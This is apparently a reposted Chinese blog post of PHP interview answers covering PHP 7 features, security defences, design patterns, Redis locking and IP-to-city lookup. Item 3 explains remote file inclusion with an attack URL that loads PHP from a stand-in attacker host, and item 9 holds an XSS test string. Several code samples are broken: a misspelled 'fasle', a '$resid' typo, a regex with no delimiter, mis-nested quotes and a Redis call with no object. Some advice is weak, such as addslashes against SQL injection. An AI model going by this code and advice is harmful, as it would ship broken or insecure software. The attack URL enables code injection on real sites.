• PHPer面试指南php 篇(二)


    点击上方“码农编程进阶笔记”,选择“关注公众号”

    技术文章第一时间送达!

    1.php7新特性

    • ?? 运算符(NULL 合并运算符)

    • 函数返回值类型声明

    • 标量类型声明

    • use 批量声明

    • define 可以定义常量数组

    • 闭包( Closure)增加了一个 call 方法 详细的可以见官网:php7-new-features

    2.php7卓越性能背后的优化

    • 减少内存分配次数

    • 多使用栈内存

    • 缓存数组的hash值

    • 字符串解析成桉树改为宏展开

    • 使用大块连续内存代替小块破碎内存 详细的可以参考鸟哥的PPT:PHP7性能之源

    3.include($_GET['p'])的安全隐患

    现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?p=anyfile.txt 来获取你的机密信息,或执行一个PHP脚本。如果allow_url_fopen=On,你更是死定了:试试这个输入:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php 现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。

    4.列出一些防范SQL注入、XSS攻击、CSRF攻击的方法

    SQL注入:

    • addslashes函数

    • mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()

    • PDO预处理 XSS:htmlspecial函数 CSRF:

    • 验证HTTP REFER

    • 使用toke进行验证

    5.接口如何安全访问

    jwt或验证签名

    6.PHP里有哪些设计模式

    • 单例模式

    • 工厂模式

    • 脸面模式(facade)

    • 注册器模式

    • 策略模式

    • 原型模式

    • 装饰器模式 更多的可以看PHP设计模式简介这篇文章

    7.验证ip是否正确

    function check_ip($ip)
    {
        if (!filter_var($ip, FILTER_VALIDATE_IP)) {
        return false;
        } else {
            return true;
        }
    }

    8.验证日期是否合理

    function check_datetime($datetime)
    {
        if (date('Y-m-d H:i:s', strtotime($datetime)) === $datetime) {
            return true;
        } else {
            return false;
        }
    }

    9.写一个正则表达式,过滤JS脚本(及把script标记及其内容都去掉)

    $text = '<script>alert('XSS')</script>';
    $pattern = '<script.*>.*<\/script>/i';
    $text = preg_replace($pattern, '', $text);

    10.下单后30分钟未支付取消订单

    第一种方案:被动过期+cron,就是用户查看的时候去数据库查有没有支付+定时清理。第二种方案:延迟性任务,到时间检查订单是否支付成功,如果没有支付则取消订单

    11.设计一个秒杀系统

    思路:用redis的队列

    $ttl = 4;
    $random = mt_rand(1,1000).'-'.gettimeofday(true).'-'.mt_rand(1,1000);
    
    $lock = fasle;
    while (!$lock) {
        $lock = $redis->set('lock', $random, array('nx', 'ex' => $ttl));
    }
    
    if ($redis->get('goods.num') <= 0) {
        echo ("秒杀已经结束");
        //删除锁
        if ($redis->get('lock') == $random) {
            $redis->del('lock');
        }
        return false;
    }
    
    $redis->decr('goods.num');
    echo ("秒杀成功");
    //删除锁
    if ($redis->get('lock') == $random) {
        $redis->del('lock');
    }
    return true;

    12.请设计一个实现方式,可以给某个ip找到对应的省和市,要求效率竟可能的高

    //ip2long,把所有城市的最小和最大Ip录进去
    $redis_key = 'ip';
    $redis->zAdd($redis_key, 20, '#bj');//北京的最小IP加#
    $resid->zAdd($redis_key, 30, 'bj');//最大IP
    
    function get_ip_city($ip_address)
    {
        $ip = ip2long($ip_address);
    
        $redis_key = 'ip';
        $city = zRangeByScore($redis_key, $ip, '+inf', array('limit' => array(0, 1)));
        if ($city) {
            if (strpos($city[0], "#") === 0) {
                echo '城市不存在!';
            } else {
                echo '城市是' . $city[0];
            }
        } else {
            echo '城市不存在!';
        }
    }

    13.网页/应用访问慢突然变慢,如何定位问题

    1. top、iostat查看cpu、内存及io占用情况

    2. 内核、程序参数设置不合理 查看有没有报内核错误,连接数用户打开文件数这些有没有达到上限等等

    3. 链路本身慢 是否跨运营商、用户上下行带宽不够、dns解析慢、服务器内网广播风暴什么的

    4. 程序设计不合理 是否程序本身算法设计太差,数据库语句太过复杂或者刚上线了什么功能引起的

    5. 其它关联的程序引起的 如果要访问数据库,检查一下是否数据库访问慢

    6. 是否被攻击了 查看服务器是否被DDos了等等

    7. 硬件故障 这个一般直接服务器就挂了,而不是访问慢

    14.如何设计/优化一个访问量比较大的博客/论坛

    • 减少http请求(比如使用雪碧图)

    • 优化数据库(范式、SQL语句、索引、配置、读写分离)

    • 缓存使用(Memcache、Redis)

    • 负载均衡

    • 动态内容静态化+CDN

    • 禁止外部盗链(refer、图片添加水印)

    • 控制大文件下载

    • 使用集群

    15.如何搭建Composer私有库

    使用satis搭建
    相关文章介绍:使用satis搭建Composer私有库

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    相关教程:PHP开发高可用高安全App

    获取方式:关注公众号回复“ PHP开发App ”关键字,即可免费获得

                   

  • 相关阅读:
    Sql诊断之Explain
    Cenos7安装docker环境以及docker-compose
    uniapp苹果内购获取不到苹果的iap支付通道
    iOS云打包如何设置通用链接等Capabilities配置
    iOS应用id,套装id,appid,BundleID申请教程
    利用Appuploader在window上申请IOS开发所需要的证书及描述文件
    浅析GET和POST请求的本质区别以及关于get请求的长度限制到底是多少的问题
    iOS苹果开发者组织账号申请时的坑
    apache开源项目--HIVE
    [Unit testing Java] Unit testing Junit Controller
  • 原文地址:https://www.cnblogs.com/lxwphp/p/15453090.html
Copyright © 2020-2023  润新知